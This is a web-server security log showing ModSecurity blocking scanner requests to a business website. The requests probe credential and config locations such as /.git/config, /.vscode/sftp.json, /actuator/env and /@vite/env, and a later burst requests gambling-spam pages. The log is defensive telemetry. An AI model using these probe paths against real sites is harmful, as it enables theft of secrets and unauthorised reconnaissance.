[Tue Jan 27 00:52:53.103792 2026] [:error] [pid 57173:tid 57234] [client 68.183.180.73:35982] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aXeb5U4W-bz8q8pfNmgWLAAAAAI"]
[Tue Jan 27 00:52:53.148037 2026] [:error] [pid 44849:tid 44873] [client 206.81.12.187:40938] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aXeb5RvM0vcShMgZVmTvHgAAAVY"]
[Tue Jan 27 00:52:54.217474 2026] [:error] [pid 44587:tid 44813] [client 206.81.12.187:40940] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/actuator/env"] [unique_id "aXeb5osXadca93KAT8TowwAAANU"]
[Tue Jan 27 00:52:54.422350 2026] [:error] [pid 18632:tid 18657] [client 68.183.180.73:35996] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aXeb5qU_e_bi-Bnkkm76twAAAFY"]
[Tue Jan 27 00:52:55.411200 2026] [:error] [pid 18632:tid 18638] [client 68.183.180.73:36008] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/actuator/env"] [unique_id "aXeb56U_e_bi-Bnkkm76ugAAAEM"]
[Tue Jan 27 00:52:56.138795 2026] [:error] [pid 18632:tid 18640] [client 206.81.12.187:40954] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/swagger-ui.html"] [unique_id "aXeb6KU_e_bi-Bnkkm76uwAAAEU"]
[Tue Jan 27 00:52:57.345768 2026] [:error] [pid 18632:tid 18650] [client 206.81.12.187:40956] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/swagger/index.html"] [unique_id "aXeb6aU_e_bi-Bnkkm76vQAAAE8"]
[Tue Jan 27 00:52:57.395773 2026] [:error] [pid 18632:tid 18652] [client 68.183.180.73:36010] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger-ui.html"] [unique_id "aXeb6aU_e_bi-Bnkkm76vgAAAFE"]
[Tue Jan 27 00:52:58.235500 2026] [:error] [pid 18632:tid 18651] [client 206.81.12.187:40962] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/swagger/swagger-ui.html"] [unique_id "aXeb6qU_e_bi-Bnkkm76wAAAAFA"]
[Tue Jan 27 00:52:59.421793 2026] [:error] [pid 44586:tid 44768] [client 206.81.12.187:40968] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webjars/swagger-ui/index.html"] [unique_id "aXeb66ZDnq-dPBqM5LiU4AAAAIQ"]
[Tue Jan 27 00:52:59.605145 2026] [:error] [pid 44586:tid 44786] [client 68.183.180.73:57830] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger/index.html"] [unique_id "aXeb66ZDnq-dPBqM5LiU4gAAAJY"]
[Tue Jan 27 00:53:00.217369 2026] [:error] [pid 18632:tid 18637] [client 206.81.12.187:40984] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/swagger.json"] [unique_id "aXeb7KU_e_bi-Bnkkm76xAAAAEI"]
[Tue Jan 27 00:53:00.758799 2026] [:error] [pid 44586:tid 44764] [client 68.183.180.73:57844] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger/swagger-ui.html"] [unique_id "aXeb7KZDnq-dPBqM5LiU5QAAAIA"]
[Tue Jan 27 00:53:01.333934 2026] [:error] [pid 18632:tid 18644] [client 68.183.180.73:57856] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/webjars/swagger-ui/index.html"] [unique_id "aXeb7aU_e_bi-Bnkkm76yAAAAEk"]
[Tue Jan 27 00:53:01.416099 2026] [:error] [pid 44588:tid 44823] [client 206.81.12.187:55586] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/swagger/v1/swagger.json"] [unique_id "aXeb7THRQD80UhqYrcAPDwAAAQM"]
[Tue Jan 27 00:53:02.218955 2026] [:error] [pid 44586:tid 44782] [client 206.81.12.187:55596] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2/api-docs"] [unique_id "aXeb7qZDnq-dPBqM5LiU6AAAAJI"]
[Tue Jan 27 00:53:02.775451 2026] [:error] [pid 44849:tid 44862] [client 68.183.180.73:57866] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger.json"] [unique_id "aXeb7hvM0vcShMgZVmTvHwAAAUs"]
[Tue Jan 27 00:53:03.328356 2026] [:error] [pid 44586:tid 44776] [client 68.183.180.73:57868] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger/v1/swagger.json"] [unique_id "aXeb76ZDnq-dPBqM5LiU7AAAAIw"]
[Tue Jan 27 00:53:03.383788 2026] [:error] [pid 44586:tid 44775] [client 206.81.12.187:55602] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3/api-docs"] [unique_id "aXeb76ZDnq-dPBqM5LiU7QAAAIs"]
[Tue Jan 27 00:53:04.209811 2026] [:error] [pid 44849:tid 44857] [client 206.81.12.187:55614] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aXeb8BvM0vcShMgZVmTvJAAAAUY"]
[Tue Jan 27 00:53:04.757325 2026] [:error] [pid 18632:tid 18650] [client 68.183.180.73:57870] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2/api-docs"] [unique_id "aXeb8KU_e_bi-Bnkkm76zQAAAE8"]
[Tue Jan 27 00:53:05.371752 2026] [:error] [pid 18632:tid 18651] [client 68.183.180.73:57872] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3/api-docs"] [unique_id "aXeb8aU_e_bi-Bnkkm76zwAAAFA"]
[Tue Jan 27 00:53:05.463870 2026] [:error] [pid 18632:tid 18639] [client 206.81.12.187:55618] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api/swagger.json"] [unique_id "aXeb8aU_e_bi-Bnkkm760AAAAEQ"]
[Tue Jan 27 00:53:06.224070 2026] [:error] [pid 44849:tid 44856] [client 206.81.12.187:55630] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/@vite/env"] [unique_id "aXeb8hvM0vcShMgZVmTvKQAAAUU"]
[Tue Jan 27 00:53:06.714642 2026] [:error] [pid 44586:tid 44768] [client 68.183.180.73:57888] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aXeb8qZDnq-dPBqM5LiU8AAAAIQ"]
[Tue Jan 27 00:53:07.439894 2026] [:error] [pid 44586:tid 44771] [client 68.183.180.73:57902] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api/swagger.json"] [unique_id "aXeb86ZDnq-dPBqM5LiU8gAAAIc"]
[Tue Jan 27 00:53:07.496380 2026] [:error] [pid 57173:tid 57239] [client 206.81.12.187:55644] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aXeb804W-bz8q8pfNmgWMwAAAAc"]
[Tue Jan 27 00:53:08.332109 2026] [:error] [pid 44849:tid 44872] [client 206.81.12.187:55652] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXeb9BvM0vcShMgZVmTvLgAAAVU"]
[Tue Jan 27 00:53:08.687952 2026] [:error] [pid 18632:tid 18644] [client 68.183.180.73:51356] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/@vite/env"] [unique_id "aXeb9KU_e_bi-Bnkkm761wAAAEk"]
[Tue Jan 27 00:53:09.388329 2026] [:error] [pid 57173:tid 57252] [client 68.183.180.73:51368] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aXeb9U4W-bz8q8pfNmgWNgAAABM"]
[Tue Jan 27 00:53:09.917304 2026] [:error] [pid 44849:tid 44873] [client 206.81.12.187:55668] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/debug/default/view"] [unique_id "aXeb9RvM0vcShMgZVmTvLwAAAVY"]
[Tue Jan 27 00:53:10.557188 2026] [:error] [pid 57173:tid 57232] [client 68.183.180.73:51378] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXeb9k4W-bz8q8pfNmgWOQAAAAA"]
[Tue Jan 27 00:53:11.385432 2026] [:error] [pid 57173:tid 57240] [client 68.183.180.73:51384] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/debug/default/view"] [unique_id "aXeb904W-bz8q8pfNmgWPAAAAAg"]
[Tue Jan 27 04:24:20.713629 2026] [:error] [pid 41780:tid 41796] [client 144.172.117.131:40456] [client 144.172.117.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aXfNdFvu-XLQ0TaZ4FFQBgAAAQ4"]
[Tue Jan 27 05:04:11.951276 2026] [:error] [pid 41780:tid 41793] [client 147.135.253.47:44952] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9C%E0%B8%A5%20%E0%B8%9A%E0%B8%AD%E0%B8%A5%20%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%20%E0%B9%84%E0%B8%97%E0%B8%A2%20thscore.aspx"] [unique_id "aXfWy1vu-XLQ0TaZ4FFaSAAAAQs"]
[Tue Jan 27 05:04:14.700454 2026] [:error] [pid 7453:tid 7511] [client 147.135.253.47:39554] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%202020.aspx"] [unique_id "aXfWzhfsyA2ws_ADquiI9AAAAFY"]
[Tue Jan 27 05:04:18.213894 2026] [:error] [pid 7561:tid 7575] [client 147.135.253.47:39564] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A2%E0%B8%B9%20%E0%B8%9F%E0%B9%88%E0%B8%B2%20168%20vip.aspx"] [unique_id "aXfW0rXGI6mgvHQqkXwE1wAAAMs"]
[Tue Jan 27 05:04:21.102476 2026] [:error] [pid 7452:tid 7473] [client 147.135.253.47:35490] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%9A%E0%B8%97168.aspx"] [unique_id "aXfW1WlXocEpHDB6FUZhXAAAAAw"]
[Tue Jan 27 05:04:23.935542 2026] [:error] [pid 7453:tid 7505] [client 147.135.253.47:35492] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3slotxo.aspx"] [unique_id "aXfW1xfsyA2ws_ADquiI-AAAAFA"]
[Tue Jan 27 05:04:26.559093 2026] [:error] [pid 7452:tid 7476] [client 147.135.253.47:35496] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168.aspx"] [unique_id "aXfW2mlXocEpHDB6FUZhXgAAAA8"]
[Tue Jan 27 05:04:30.048912 2026] [:error] [pid 7452:tid 7466] [client 147.135.253.47:39844] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8%20%E0%B8%A2%E0%B8%B8%E0%B9%82%E0%B8%A3%E0%B8%9B%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%9A%E0%B9%88%E0%B8%AD%E0%B8%A2.aspx"] [unique_id "aXfW3mlXocEpHDB6FUZhYwAAAAU"]
[Tue Jan 27 05:04:32.821203 2026] [:error] [pid 7453:tid 7501] [client 147.135.253.47:39848] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%202024.aspx"] [unique_id "aXfW4BfsyA2ws_ADquiI_QAAAEw"]
[Tue Jan 27 05:04:35.360166 2026] [:error] [pid 7561:tid 7572] [client 147.135.253.47:39852] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXfW47XGI6mgvHQqkXwE7QAAAMg"]
[Tue Jan 27 05:04:37.879042 2026] [:error] [pid 7452:tid 7461] [client 147.135.253.47:39862] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9524.aspx"] [unique_id "aXfW5WlXocEpHDB6FUZhbwAAAAA"]
[Tue Jan 27 05:04:40.615799 2026] [:error] [pid 7454:tid 7533] [client 147.135.253.47:59016] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo.aspx"] [unique_id "aXfW6JltCoZEfMmfl8BOEQAAAJE"]
[Tue Jan 27 05:04:43.298971 2026] [:error] [pid 7453:tid 7504] [client 147.135.253.47:59018] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfW6xfsyA2ws_ADquiJBAAAAE8"]
[Tue Jan 27 05:04:45.920156 2026] [:error] [pid 7453:tid 7507] [client 147.135.253.47:59028] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%97%E0%B8%A7%E0%B8%B4%E0%B8%95%E0%B9%80%E0%B8%95%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXfW7RfsyA2ws_ADquiJCQAAAFI"]
[Tue Jan 27 05:04:48.463512 2026] [:error] [pid 7453:tid 7510] [client 147.135.253.47:52952] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfW8BfsyA2ws_ADquiJDQAAAFU"]
[Tue Jan 27 05:04:51.092992 2026] [:error] [pid 7453:tid 7492] [client 147.135.253.47:52954] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfW8xfsyA2ws_ADquiJEQAAAEM"]
